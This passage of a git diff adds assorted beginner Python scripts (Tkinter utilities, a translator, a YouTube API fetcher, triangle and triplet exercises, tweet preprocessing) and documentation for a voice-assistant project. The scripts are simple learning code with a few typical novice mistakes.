< 0: + diff += 24 * 3600 + h = diff // 3600 + m = (diff % 3600) // 60 + s = diff % 60 + return f"{h:02}:{m:02}:{s:02}" + + +def calculate() -> None: + """Tkinter callback to calculate and display clock difference.""" + t1 = entry_t1.get().strip() + t2 = entry_t2.get().strip() + try: + for t in [t1, t2]: + if len(t) != 8 or t[2] != ":" or t[5] != ":": + raise ValueError("Format must be HH:MM:SS") + h, m, s = int(t[0:2]), int(t[3:5]), int(t[6:8]) + if not (0 <= h < 24 and 0 <= m < 60 and 0 <= s < 60): + raise ValueError("Time out of range") + result = clock_diff(t1, t2) + label_result.config(text=f"Difference: {result}") + except Exception as e: + messagebox.showerror("Error", f"Invalid input!\n{e}") + + +root = tk.Tk() +root.title("Clock Difference Calculator") +root.geometry("300x200") + +tk.Label(root, text="Init schedule (HH:MM:SS):").pack(pady=5) +entry_t1 = tk.Entry(root) +entry_t1.pack() + +tk.Label(root, text="Final schedule (HH:MM:SS):").pack(pady=5) +entry_t2 = tk.Entry(root) +entry_t2.pack() + +tk.Button(root, text="Calculate Difference", command=calculate).pack(pady=10) +label_result = tk.Label(root, text="Difference: ") +label_result.pack(pady=5) + +if __name__ == "__main__": + import doctest + + doctest.testmod() + root.mainloop() diff --git a/To find the largest number between 3 numbers.py b/To find the largest number between 3 numbers.py new file mode 100644 index 00000000000..1c8e99e8f22 --- /dev/null +++ b/To find the largest number between 3 numbers.py @@ -0,0 +1,6 @@ +# Python program to find the largest number among the three input numbers + +a = [] +for i in range(3): + a.append(int(input())) +print("The largest among three numbers is:", max(a)) diff --git a/To print series 1,12,123,1234......py b/To print series 1,12,123,1234......py new file mode 100644 index 00000000000..cc192eed3eb --- /dev/null +++ b/To print series 1,12,123,1234......py @@ -0,0 +1,47 @@ +# master +def num(a): + # initialising starting number + + num = 1 + + # outer loop to handle number of rows + + for i in range(0, a): + # re assigning num + + num = 1 + + # inner loop to handle number of columns + + # values changing acc. to outer loop + + for k in range(0, i + 1): + # printing number + + print(num, end=" ") + + # incrementing number at each column + + num = num + 1 + + # ending line after each row + + print("\r") + + +# Driver code + +a = 5 + +num(a) +# ======= +# 1-12-123-1234 Pattern up to n lines + +n = int(input("Enter number of rows: ")) + +for i in range(1, n + 1): + for j in range(1, i + 1): + print(j, end="") + print() + +# master diff --git a/Todo_GUi.py b/Todo_GUi.py new file mode 100644 index 00000000000..6590346c7ee --- /dev/null +++ b/Todo_GUi.py @@ -0,0 +1,45 @@ +from tkinter import messagebox +import tkinter as tk + + +# Function to be called when button is clicked +def add_Button(): + task = Input.get() + if task: + List.insert(tk.END, task) + Input.delete(0, tk.END) + + +def del_Button(): + try: + task = List.curselection()[0] + List.delete(task) + except IndexError: + messagebox.showwarning("Selection Error", "Please select a task to delete.") + + +# Create the main window +window = tk.Tk() +window.title("Task Manager") +window.geometry("500x500") +window.resizable(False, False) +window.config(bg="light grey") + +# text filed +Input = tk.Entry(window, width=50) +Input.grid(row=0, column=0, padx=20, pady=60) +Input.focus() + +# Create the button +add = tk.Button(window, text="ADD TASK", height=2, width=9, command=add_Button) +add.grid(row=0, column=1, padx=20, pady=0) + +delete = tk.Button(window, text="DELETE TASK", height=2, width=10, command=del_Button) +delete.grid(row=1, column=1) + +# creating list box +List = tk.Listbox(window, width=50, height=20) +List.grid(row=1, column=0) + + +window.mainloop() diff --git a/Translator/README.md b/Translator/README.md new file mode 100644 index 00000000000..b41ee732402 --- /dev/null +++ b/Translator/README.md @@ -0,0 +1,7 @@ +# Python-Translator +## Overview + +This is a python script that uses translator module powered by Google and translates words from a language of user's choice to another language of user's choice. + +## Author +- [Manisha Gupta](https://manisha069.github.io/) diff --git a/Translator/translator.py b/Translator/translator.py new file mode 100644 index 00000000000..2987c91af74 --- /dev/null +++ b/Translator/translator.py @@ -0,0 +1,54 @@ +from tkinter import * +from translate import Translator + + +# Translator function +def translate(): + translator = Translator(from_lang=lan1.get(), to_lang=lan2.get()) + translation = translator.translate(var.get()) + var1.set(translation) + + +# Tkinter root Window with title +root = Tk() +root.title("Translator") + +# Creating a Frame and Grid to hold the Content +mainframe = Frame(root) +mainframe.grid(column=0, row=0, sticky=(N, W, E, S)) +mainframe.columnconfigure(0, weight=1) +mainframe.rowconfigure(0, weight=1) +mainframe.pack(pady=100, padx=100) + +# variables +lan1 = StringVar(root) +lan2 = StringVar(root) +lan1.set("English") +lan2.set("Hindi") + +# taking input of languages from user +Label(mainframe, text="Enter language translate from").grid(row=0, column=1) +var = StringVar() +textbox = Entry(mainframe, textvariable=var).grid(row=1, column=1, padx=10, pady=10) + +Label(mainframe, text="Enter a language to").grid(row=0, column=2) +var = StringVar() +textbox = Entry(mainframe, textvariable=var).grid(row=1, column=2, padx=10, pady=10) + +# Text Box to take user input +Label(mainframe, text="Enter text").grid(row=3, column=0) +var = StringVar() +textbox = Entry(mainframe, textvariable=var).grid(row=3, column=1) + +# textbox to show output +# label can also be used +Label(mainframe, text="Output").grid(row=3, column=2) +var1 = StringVar() +textbox = Entry(mainframe, textvariable=var1).grid(row=3, column=3, padx=10, pady=10) + +# creating a button to call Translator function +b = Button( + mainframe, text="Translate", command=translate, activebackground="green" +).grid(row=4, column=1, columnspan=3) + +root.mainloop() diff --git a/Trending youtube videos b/Trending youtube videos new file mode 100644 index 00000000000..a14535e4ddc --- /dev/null +++ b/Trending youtube videos @@ -0,0 +1,43 @@ +''' + Python program that uses the YouTube Data API to fetch the top 10 trending YouTube videos. +You’ll need to have an API key from Google Cloud Platform to use the YouTube Data API. + +First, install the google-api-python-client library if you haven’t already: +pip install google-api-python-client + +Replace 'YOUR_API_KEY' with your actual API key. This script will fetch and print the titles, +channels, and view counts of the top 10 trending YouTube videos in India. +You can change the regionCode to any other country code if needed. + +Then, you can use the following code: + +''' + +from googleapiclient.discovery import build + +# Replace with your own API key +API_KEY = 'YOUR_API_KEY' +YOUTUBE_API_SERVICE_NAME = 'youtube' +YOUTUBE_API_VERSION = 'v3' + +def get_trending_videos(): + youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, developerKey=API_KEY) + + # Call the API to get the top 10 trending videos + request = youtube.videos().list( + part='snippet,statistics', + chart='mostPopular', + regionCode='IN', # Change this to your region code + maxResults=10 + ) + response = request.execute() + + # Print the video details + for item in response['items']: + title = item['snippet']['title'] + channel = item['snippet']['channelTitle'] + views = item['statistics']['viewCount'] + print(f'Title: {title}\nChannel: {channel}\nViews: {views}\n') + +if __name__ == '__main__': + get_trending_videos() diff --git a/Trending youtube videos.py b/Trending youtube videos.py new file mode 100644 index 00000000000..e74f15e75f3 --- /dev/null +++ b/Trending youtube videos.py @@ -0,0 +1,45 @@ +""" + Python program that uses the YouTube Data API to fetch the top 10 trending YouTube videos. +You’ll need to have an API key from Google Cloud Platform to use the YouTube Data API. + +First, install the google-api-python-client library if you haven’t already: +pip install google-api-python-client + +Replace 'YOUR_API_KEY' with your actual API key. This script will fetch and print the titles, +channels, and view counts of the top 10 trending YouTube videos in India. +You can change the regionCode to any other country code if needed. + +Then, you can use the following code: + +""" + +from googleapiclient.discovery import build + +# Replace with your own API key +API_KEY = "YOUR_API_KEY" +YOUTUBE_API_SERVICE_NAME = "youtube" +YOUTUBE_API_VERSION = "v3" + + +def get_trending_videos(): + youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, developerKey=API_KEY) + + # Call the API to get the top 10 trending videos + request = youtube.videos().list( + part="snippet,statistics", + chart="mostPopular", + regionCode="IN", # Change this to your region code + maxResults=10, + ) + response = request.execute() + + # Print the video details + for item in response["items"]: + title = item["snippet"]["title"] + channel = item["snippet"]["channelTitle"] + views = item["statistics"]["viewCount"] + print(f"Title: {title}\nChannel: {channel}\nViews: {views}\n") + + +if __name__ == "__main__": + get_trending_videos() diff --git a/Triplets with zero sum/Readme.md b/Triplets with zero sum/Readme.md new file mode 100644 index 00000000000..e79e6ee87d1 --- /dev/null +++ b/Triplets with zero sum/Readme.md @@ -0,0 +1,13 @@ +Problem : **Given an array of distinct elements. The task is to find triplets in the array whose sum is zero.** + +Method : This method uses Sorting to arrive at the correct result and is solved in O(n^2) time. + +Approach: +The above method requires extra space. The idea is based on method 2 of this post. For every element check that there is a pair whose sum is equal to the negative value of that element. +Algorithm: +1. Sort the array in ascending order. +2. Traverse the array from start to end. +3. For every index i, create two variables l = i + 1 and r = n – 1 +4. Run a loop until l is less than r, if the sum of array[l], array[r] is equal to zero then print the triplet and break the loop +5. If the sum is less than zero then increment value of l, by increasing value of l the sum will increase as the array is sorted, so array[l+1] > array [l] +6. If the sum is greater than zero then decrement value of r, by increasing value of l the sum will decrease as the array is sorted, so array[r-1] < array [r]. diff --git a/Triplets with zero sum/find_Triplets_with_zero_sum.py b/Triplets with zero sum/find_Triplets_with_zero_sum.py new file mode 100644 index 00000000000..f88c6538a15 --- /dev/null +++ b/Triplets with zero sum/find_Triplets_with_zero_sum.py @@ -0,0 +1,81 @@ +""" +Author : Mohit Kumar + +Python program to find triplets in a given array whose sum is zero +""" + + +# function to print triplets with 0 sum +def find_Triplets_with_zero_sum(arr, num): + """find triplets in a given array whose sum is zero + + Parameteres : + arr : input array + num = size of input array + Output : + if triplets found return their values + else return "No Triplet Found" + """ + # bool variable to check if triplet found or not + found = False + + # sort array elements + arr.sort() + + # Run a loop until l is less than r, if the sum of array[l], array[r] is equal to zero then print the triplet and break the loop + for index in range(0, num - 1): + # initialize left and right + left = index + 1 + right = num - 1 + + curr = arr[index] # current element + + while left < right: + temp = curr + arr[left] + arr[right] + + if temp == 0: + # print elements if it's sum is zero + print(curr, arr[left], arr[right]) + + left += 1 + right -= 1 + + found = True + + # If sum of three elements is less than zero then increment in left + elif temp < 0: + left += 1 + + # if sum is greater than zero than decrement in right side + else: + right -= 1 + + if found == False: + print(" No Triplet Found") + + +# DRIVER CODE STARTS + +if __name__ == "__main__": + n = int(input("Enter size of array\n")) + print("Enter elements of array\n") + + arr = list(map(int, input().split())) + + print("Triplets with 0 sum are as : ") + + find_Triplets_with_zero_sum(arr, n) + +""" +SAMPLE INPUT 1 : + Enter size of array : 5 + Enter elements of array : 0, -1, 2, -3, 1 +OUTPUT : + Triplets with 0 sum are as : + -3 1 2 + -1 0 1 +COMPLEXITY ANALYSIS : +Time Complexity : O(n^2). + Only two nested loops is required, so the time complexity is O(n^2). +Auxiliary Space : O(1), no extra space is required, so the time complexity is constant. +""" diff --git a/Turn your PDFs into audio books/audiobook_gen.py b/Turn your PDFs into audio books/audiobook_gen.py new file mode 100644 index 00000000000..cd54bc0a89a --- /dev/null +++ b/Turn your PDFs into audio books/audiobook_gen.py @@ -0,0 +1,20 @@ +import PyPDF2 +import pyttsx3 + +book = open(input("Enter the book name: "), "rb") +pg_no = int( + input( + "Enter the page number from which you want the system to start reading text: " + ) +) + +pdf_Reader = PyPDF2.PdfFileReader(book) +pages = pdf_Reader.numPages + +speaker = pyttsx3.init() + +for num in range((pg_no - 1), pages): + page = pdf_Reader.getPage(num) + text = page.extractText() + speaker.say(text) + speaker.runAndWait() diff --git a/Turn your PDFs into audio books/requirements.txt b/Turn your PDFs into audio books/requirements.txt new file mode 100644 index 00000000000..5ba5e21515e --- /dev/null +++ b/Turn your PDFs into audio books/requirements.txt @@ -0,0 +1,2 @@ +PyPDF2 +pyttsx3 diff --git a/Turtle_Star.py b/Turtle_Star.py new file mode 100644 index 00000000000..d9b1a3b06ef --- /dev/null +++ b/Turtle_Star.py @@ -0,0 +1,29 @@ +import turtle + +board = turtle.Turtle() + +# first triangle for star +board.forward(100) # draw base + +board.left(120) +board.forward(100) + +board.left(120) +board.forward(100) + +board.penup() +board.right(150) +board.forward(50) + +# second triangle for star +board.pendown() +board.right(90) +board.forward(100) + +board.right(120) +board.forward(100) + +board.right(120) +board.forward(100) + +turtle.done() diff --git a/Tweet Pre-Processing.py b/Tweet Pre-Processing.py new file mode 100644 index 00000000000..458e04c4e41 --- /dev/null +++ b/Tweet Pre-Processing.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python +# coding: utf-8 + +# In[10]: + + +from nltk.corpus import twitter_samples +import random + + +# In[ ]: + + +# analysing tweets from the corpus + + +# In[14]: + + +positive_tweets = twitter_samples.strings("positive_tweets.json") + + +# In[15]: + + +negative_tweets = twitter_samples.strings("negative_tweets.json") + + +# In[16]: + + +all_tweets = positive_tweets + negative_tweets + + +# In[17]: + + +# Analysing sampels tweets + +print(positive_tweets[random.randint(0, 5000)]) + + +# In[19]: + + +""" There are 4 basic steps in pre-processing of any text +1.Tokenizing +2.Removing hyper links if any +3.Converting to lower case +4.Removing punctuations +5.steeming of the word""" + + +import re +import string + +from nltk.corpus import stopwords +from nltk.stem import PorterStemmer +from nltk.tokenize import TweetTokenizer + + +# In[20]: + + +# Removing Hyper links + +tweet = all_tweets[1] + +# removing RT words in the tweet +tweet = re.sub(r"^RT[\s]+", "", tweet) +# removing hyperlinks in the tweet +tweet = re.sub(r"https?:\/\/.*[\r\n]*", "", tweet) +# removing #symbol from the tweet +tweet = re.sub(r"#", "", tweet) + +print(tweet) + + +# In[22]: + + +# Tokenizing + +tokenizer = TweetTokenizer(preserve_case=False, strip_handles=True, reduce_len=True) + +tokens = tokenizer.tokenize(tweet) + +print(tokens) + + +# In[23]: + + +# Remving stop words and punctuation marks + +stoper = stopwords.words("english") + +punct = string.punctuation + +print(stoper) +print(punct) + + +# In[24]: + + +cleaned = [] +for i in tokens: + if i not in stoper and i not in punct: + cleaned.append(i) + + +print(cleaned) + + +# In[25]: + + +# stemming + +stemmer = PorterStemmer() + +processed = [] + +for i in cleaned: + st = stemmer.stem(i) + processed.append(st) + +print(processed) + + +# In[ ]: diff --git a/Type of angles of a triangle.py b/Type of angles of a triangle.py new file mode 100644 index 00000000000..3281f0d9980 --- /dev/null +++ b/Type of angles of a triangle.py @@ -0,0 +1,55 @@ +# This program will return the type of the triangle. +# User has to enter the angles of the triangle in degrees. +def angle_type(): + angles = [] + + myDict = { + "All angles are less than 90°.": "Acute Angle Triangle", + "Has a right angle (90°)": "Right Angle Triangle", + "Has an angle more than 90°": "Obtuse Angle triangle", + } + + print("**************Enter the angles of your triangle to know it's type*********") + + angle1 = int(input("Enter angle1 : ")) + if angle1 < 180 and angle1 > 0: + angles.append(angle1) + else: + print("Please enter a value less than 180°") + angle1 = int(input()) + angles.append(angle1) + + angle2 = int(input("Enter angle2 : ")) + if angle2 < 180 and angle2 > 0: + angles.append(angle2) + else: + print("Please enter a value less than 180°") + angle2 = int(input()) + angles.append(angle2) + + angle3 = int(input("Enter angle3 : ")) + if angle3 < 180 and angle3 > 0: + angles.append(angle3) + else: + print("Please enter a value less than 180°") + angle3 = int(input()) + angles.append(angle3) + + sum_of_angles = angle1 + angle2 + angle3 + if sum_of_angles > 180 or sum_of_angles < 180: + print("It is not a triangle!Please enter valid angles.") + return -1 + + print("You have entered : " + str(angles)) + + if angle1 >= 90 or angle2 >= 90 or angle3 >= 90: + print(myDict.get("Has a right angle (90°)")) + + elif angle1 < 90 and angle2 < 90 and angle3 < 90: + print(myDict.get("All angles are less than 90°.")) + + elif angle1 > 90 or angle2 > 90 or angle3 > 90: + print(myDict.get("Has an angle more than 90°")) + + +angle_type() diff --git a/Type_of_angles_of_triangle.py b/Type_of_angles_of_triangle.py new file mode 100644 index 00000000000..62978777f56 --- /dev/null +++ b/Type_of_angles_of_triangle.py @@ -0,0 +1,71 @@ +# This program will return the type of the triangle. +# User has to enter the angles of the triangle in degrees. + + +def angle_type(): + angles = [] + + myDict = { + "All angles are less than 90°.": "Acute Angle Triangle", + "Has a right angle (90°)": "Right Angle Triangle", + "Has an angle more than 90°": "Obtuse Angle triangle", + } + + print("**************Enter the angles of your triangle to know it's type*********") + + # Taking Angle 1 + + angle1 = int(input("Enter angle 1 : ")) + + if angle1 < 180 and angle1 > 0: + angles.append(angle1) + + else: + print("Please enter a value less than 180°") + angle1 = int(input()) + angles.append(angle1) + + # Taking Angle 2 + + angle2 = int(input("Enter angle2 : ")) + + if angle2 < 180 and angle2 > 0: + angles.append(angle2) + + else: + print("Please enter a value less than 180°") + angle2 = int(input("Enter angle 2 :")) + angles.append(angle2) + + # Taking Angle 3 + + angle3 = int(input("Enter angle3 : ")) + + if angle3 < 180 and angle3 > 0: + angles.append(angle3) + + else: + print("Please enter a value less than 180°") + angle3 = int(input("Enter angle3 : ")) + angles.append(angle3) + + # Answer + + sum_of_angles = angle1 + angle2 + angle3 + if sum_of_angles > 180 or sum_of_angles < 180: + print("It is not a triangle!Please enter valid angles.") + return -1 + + print("You have entered : " + str(angles)) + + if angle1 == 90 or angle2 == 90 or angle3 == 90: + print(myDict.get("Has a right angle (90°)")) + + elif angle1 < 90 and angle2 < 90 and angle3 < 90: + print(myDict.get("All angles are less than 90°.")) + + elif angle1 > 90 or angle2 > 90 or angle3 > 90: + print(myDict.get("Has an angle more than 90°")) + + +angle_type() diff --git a/UI-Apps/README.md b/UI-Apps/README.md new file mode 100644 index 00000000000..fbcbc7ec5af --- /dev/null +++ b/UI-Apps/README.md @@ -0,0 +1,9 @@ +### SIMPLE CLOCK WIDGET USING TKINTER + +## Running instruction + +# windows user + run `py clock.py` + +# linux user + run `python3 clock.py` \ No newline at end of file diff --git a/UI-Apps/clock.py b/UI-Apps/clock.py new file mode 100644 index 00000000000..544d8bdc48f --- /dev/null +++ b/UI-Apps/clock.py @@ -0,0 +1,29 @@ +import tkinter + +# retrieve system's time +from time import strftime + +# ------------------main code----------------------- +# initializing the main UI object +top = tkinter.Tk() +# setting title of the App +top.title("Clock") +# restricting the resizable property +top.resizable(0, 0) + + +def time(): + string = strftime("%H:%M:%S %p") + clockTime.config(text=string) + clockTime.after(1000, time) + + +clockTime = tkinter.Label( + top, font=("calibri", 40, "bold"), background="black", foreground="white" +) + +clockTime.pack(anchor="center") +time() + + +top.mainloop() diff --git a/Unit Digit of a raised to power b.py b/Unit Digit of a raised to power b.py new file mode 100644 index 00000000000..68fd02b5259 --- /dev/null +++ b/Unit Digit of a raised to power b.py @@ -0,0 +1,12 @@ +def last_digit(a, b): + if b == 0: # This Code assumes that 0^0 is 1 + return 1 + elif a % 10 in [0, 5, 6, 1]: + return a % 10 + elif b % 4 == 0: + return ((a % 10) ** 4) % 10 + else: + return ((a % 10) ** (b % 4)) % 10 + + +# Courtesy to https://brilliant.org/wiki/finding-the-last-digit-of-a-power/ diff --git a/Untitled.ipynb b/Untitled.ipynb new file mode 100644 index 00000000000..ca4617b5220 --- /dev/null +++ b/Untitled.ipynb @@ -0,0 +1,76 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import cv2\n", + "import time\n", + "import numpy as np\n", + "\n", + "## Preparation for writing the ouput video\n", + "fourcc = cv2.VideoWriter_fourcc(*\"XVID\")\n", + "out = cv2.VideoWriter(\"output.avi\", fourcc, 20.0, (640, 480))\n", + "\n", + "##reading from the webcam\n", + "cap = cv2.VideoCapture(0)\n", + "\n", + "## Allow the system to sleep for 3 seconds before the webcam starts\n", + "time.sleep(3)\n", + "count = 0\n", + "background = 0\n", + "\n", + "## Capture the background in range of 60\n", + "for i in range(60):\n", + " ret, background = cap.read()\n", + "background = np.flip(background, axis=1)\n", + "\n", + "\n", + "## Read every frame from the webcam, until the camera is open\n", + "while cap.isOpened():\n", + " ret, img = cap.read()\n", + " if not ret:\n", + " break\n", + " count += 1\n", + " img = np.flip(img, axis=1)\n", + "\n", + " ## Convert the color space from BGR to HSV\n", + " hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n", + "\n", + " ## Generat masks to detect red color\n", + " lower_red = np.array([0, 120, 50])\n", + " upper_red = np.array([10, 255, 255])\n", + " mask1 = cv2.inRange(hsv, lower_red, upper_red)\n", + "\n", + " lower_red = np.array([170, 120, 70])\n", + " upper_red = np.array([180, 255, 255])\n", + " mask2 = cv2.inRange(hsv, lower_red, upper_red)\n", + "\n", + " mask1 = mask1 + mask2" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.3" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/Voice Command Calculator.py b/Voice Command Calculator.py new file mode 100644 index 00000000000..8c220092a38 --- /dev/null +++ b/Voice Command Calculator.py @@ -0,0 +1,37 @@ +import operator +import speech_recognition as s_r + +print("Your speech_recognition version is: " + s_r.__version__) +r = s_r.Recognizer() +my_mic_device = s_r.Microphone(device_index=1) +with my_mic_device as source: + print("Say what you want to calculate, example: 3 plus 3") + r.adjust_for_ambient_noise(source) + audio = r.listen(source) +my_string = r.recognize_google(audio) +print(my_string) + + +def get_operator_fn(op): + return { + "+": operator.add, + "-": operator.sub, + "x": operator.mul, + "divided": operator.__truediv__, + "divided by": operator.__truediv__, + "divide": operator.__truediv__, + "Divided": operator.__truediv__, + "Divided by": operator.__truediv__, + "Divide": operator.__truediv__, + "Mod": operator.mod, + "mod": operator.mod, + "^": operator.xor, + }[op] + + +def eval_binary_expr(op1, oper, op2): + op1, op2 = int(op1), int(op2) + return get_operator_fn(oper)(op1, op2) + + +print(eval_binary_expr(*(my_string.split()))) diff --git a/VoiceAssistant/DOCUMENTATION.md b/VoiceAssistant/DOCUMENTATION.md new file mode 100644 index 00000000000..8aaacdb05a8 --- /dev/null +++ b/VoiceAssistant/DOCUMENTATION.md @@ -0,0 +1,78 @@ +# *DOCUMENTATION* + +There are 8 files(modules) present in the main package of this project. These files are named as follows: - + +1. VoiceAssistant\_main.py +1. speakListen.py +1. websiteWork.py +1. textRead.py +1. dictator.py +1. menu.py +1. speechtotext.py +1. TextToSpeech.py + +A combination of all these modules makes the Voice Assistant work efficiently. + +## VoiceAssistant\_main.py + +This is the main file that encapsulates the other 7 files. It is advisable to run this file to avail all the benefits of the Voice Assistant. + +After giving the command to run this file to your computer, you will have to say “**Hello Python**” to activate the voice assistant. After the activation, a menu will be displayed on the screen, showing all the tasks that Voice Assistant can do. This menu is displayed with the help of the print\_menu()* function present in the menu.py module. + +Speaking out the respective commands of the desired task will indicate the Voice Assistant to do the following task. Once the speech is recorded, it will be converted to ` str ` by hear() or short\_hear() function of the speakListen.py module. + +For termination of the program after a task is complete, the command “**close python**” should be spoken. For abrupt termination of the program, for Windows and Linux – The ctrl + c key combination should be used. + +## speakListen.py + +This is the module that contains the following functions: - + +1. speak(text) – This function speaks out the ‘text’ provided as a parameter. The text is a string(str). They say() and runAndWait() functions of Engine class in pyttsx3 enable the assistant to speak. Microsoft ***SAPI5*** has provided the voice. +1. hear() – This function records the voice for 9 seconds using your microphone as source and converts speech to text using recognize\_google(). recognize\_google() performs speech recognition on ``audio\_data`` (an ``AudioData`` instance), using the Google Speech Recognition API. +1. long\_hear(duration\_time) – This function records voice for the ‘duration\_time’ provided with 60 seconds as the default time. It too converts speech to text in a similar fashion to hear() +1. short\_hear(duration\_time) – This functions records voice similar to hear() but for 5 seconds. +1. greet(g) - Uses the datetime library to generate current time and then greets accordingly. + +## websiteWork.py + +This module mainly handles this project's ‘searching on the web’ task. It uses wikipedia and webbrowser libraries to aid its tasks. Following are the functions present in this module: - + +1. google\_search() – Searches the sentence spoken by the user on the web and opens the google-searched results in the default browser. +1. wiki\_search() - Searches the sentence spoken by the user on the web and opens the Wikipedia-searched results in the default browser. It also speaks out the summary of the result and asks the user whether he wants to open the website of the corresponding query. + +## textRead.py + +This module is mainly related to file processing and converting text to speech. Following are the functions present in this module: - + +1. ms\_word – Read out the TEXT in MS Word (.docx) file provided in the location. +1. pdf\_read – Can be used to read pdf files and more specifically eBooks. It has 3 options + 1. Read a single page + 1. Read a range of pages + 1. Read a lesson + 1. Read the whole book + +It can also print the index and can find out the author’s name, the title, and the total number of pages in the PDF file. + +1. doubleslash(location) – Mainly intended to help Windows users, if the user copies the default path containing 1 ‘/ ’; the program doubles it so it is not considered an escape sequence. +1. print\_index(toc) - Prints out the index in proper format with the title name and page number. It takes ‘toc’ as a parameter which is a nested list with toc[i][1] - Topic name and toc[i][2] – with page number. +1. print\_n\_speak\_index(toc) - It is similar to print\_index(), but it also speaks out the index here. +1. book\_details(author, title, total\_pages) - Creates a table of book details like author name, title, and total pages. It uses table and console from rich library. + +**IMPORTANT: The voice assistant asks you the location of your file to be read by it. It won’t detect the file if it is present in the OneDrive folder or any other protected or third-party folder. Also, it would give an error if the extension of the file is not provided.** + +**For example; Consider a docx file ‘***abc***’ and pdf file ‘***fgh***’ present in valid directories and folders named ‘***folder\_loc’***.** + +** When location is fed as ‘* **folder\_loc \abc***’ or ‘* **folder\_loc\fgh’* **it gives an error,** + +** but if the location is given as** *‘folder\_loc \abc.docx’* **or ‘** *folder\_loc \fgh.pdf’***, then it won’t give an error.** + +## dictator.py + +This module is like the dictator function and dictates the text that we speak. So basically, it converts the speech that we speak to text. The big\_text(duration\_time) function encapsulates the long\_hear() function. So by default, it records for 60 seconds but it can record for any amount of time as specified by the user. + +## menu.py + +It prints out the menu which contains the tasks and their corresponding commands. The rich library is being used here. + + + diff --git a/VoiceAssistant/GUIDE.md b/VoiceAssistant/GUIDE.md new file mode 100644 index 00000000000..e4aabf88a23 --- /dev/null +++ b/VoiceAssistant/GUIDE.md @@ -0,0 +1,43 @@ +# *GUIDE* + +
+You can run this voice assistant through an .exe file as well as through the terminal. When using it as an .exe file, be sure to keep the .exe file in its setup. + +

a) For using Voice Assistant through TERMINAL WINDOW

+ +1. All the pre-requisites should be complete to run the Voice Assistant in the terminal window. +1. Create a GitHub account if not created already. +2. The code is present in the file *Project_Basic_struct* +3. The source code can be downloaded using the following link: - + +This source code should be cloned using the git commands. + +For more information about cloning a GitHub repository, go to the following link - + +
After cloning the project, to use this project do the following :-
+$ Run the file VoiceAssistant\_main.py in the terminal using the command:- python VoiceAssistant\_main.py
+1. For more details about running a python code follow the link: - +1. For Windows - +1. For Linux - +1. For MacOS - + +

b) For using Voice Assistant through an EXECUTABLE (.exe) file

+ +Download - https://github.com/SohamRatnaparkhi/Voice-Assistant/releases/tag/v1.0.0 + +Download the rar file. + +1. Extract the folder. +2. Open VoiceAssistant folder. +3. Double-click on the file \_1\_VoiceAssistant for using it. + +In case, if you don't find \_1\_VoiceAssistant in the Voice Assistant folder, just install the executable(.exe) file AND SAVE IT IN VoiceAssistant FOLDER. **It is advisable to run the (.exe) file in the VoiceAssistant folder; else the file won't run.** + +

Using the Voice Assistant after installation of its resources

+ +- Saying "Hello Python" will activate the Voice Assistant. +- Then the table that will be displayed on the screen shows the tasks that Voice Assistant can do. +- Saying the respective commands of the task that is intended will enable the Voice Assistant to do those tasks. +- The README.md file of this repository has more information about the individual commands. + +![Voice Assistant](https://user-images.githubusercontent.com/92905626/155857729-58a7751a-cb63-48ee-9df5-3a4ee4129a25.JPG) diff --git a/VoiceAssistant/PRE-REQUISITES.md b/VoiceAssistant/PRE-REQUISITES.md new file mode 100644 index 00000000000..3cddcd3c2d1 --- /dev/null +++ b/VoiceAssistant/PRE-REQUISITES.md @@ -0,0 +1,40 @@ +# *PRE-REQUISITES* + +Following are the pre-requisites to be installed in the system to use Voice Assistant through Terminal Window. + +1. Python3 should be installed in the system. +[Click to download](https://www.python.org/downloads/). + +1. Following libraries and packages are to be installed. The syntax for library [installation of a library and a package](https://packaging.python.org/en/latest/tutorials/installing-packages/) is: - + 1. pip install (library/package\_name) or + 1. pip3 install (library/package\_name) + +## *Enter the following commands to install them*: - + +[pip install colorama](https://pypi.org/project/colorama/) + +[](https://pypi.org/project/colorama/)[pip install rich](https://pypi.org/project/rich/) + +[pip install pyttsx3](https://pypi.org/project/pyttsx3/) + +[pip install DateTime](https://pypi.org/project/DateTime/) + +[pip install SpeechRecognition](https://pypi.org/project/SpeechRecognition/) + +[pip install docx](https://pypi.org/project/docx/) + +[pip install fitz](https://pypi.org/project/fitz/) + +[pip install gTTS](https://pypi.org/project/gTTS/) + +[pip install playsound](https://pypi.org/project/playsound/) + +[pip install pywin32](https://superuser.com/questions/609447/how-to-install-the-win32com-python-library) + +[pip install wikipedia](https://pypi.org/project/wikipedia/) + +[pip install webbrowser](https://docs.python.org/3/library/webbrowser.html) + +## To download the source code and executable file. - [link](https://github.com/SohamRatnaparkhi/Voice-Assistant/releases/tag/v1.0.0) + +To use the Voice Assistant through an executable file; download according to instructions mentioned in the installation part of [README](https://github.com/SohamRatnaparkhi/Voice-Assistant). diff --git a/VoiceAssistant/Project_Basic_struct/TextTospeech.py b/VoiceAssistant/Project_Basic_struct/TextTospeech.py new file mode 100644 index 00000000000..2bcc7f29b39 --- /dev/null +++ b/VoiceAssistant/Project_Basic_struct/TextTospeech.py @@ -0,0 +1,10 @@ +import win32com + + +def tts(): + audio = "speech.mp3" + language = "en" + sentence = input("Enter the text to be spoken :- ") + + speaker = win32com.client.Dispatch("SAPI.SpVoice") + sp = speaker.Speak(sentence) diff --git a/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py b/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py new file mode 100644 index 00000000000..3aa291c82b4 --- /dev/null +++ b/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py @@ -0,0 +1,94 @@ +from speakListen import * +from websiteWork import * +from textRead import * +from dictator import * +from menu import * +from speechtotext import * +from TextTospeech import * + + +def main(): + start = 0 + end = 0 + if start == 0: + print('\nSay "Hello Python" to activate the Voice Assistant!') + start += 1 + while True: + q = short_hear().lower() + if "close" in q: + greet("end") + exit(0) + if "hello python" in q: + 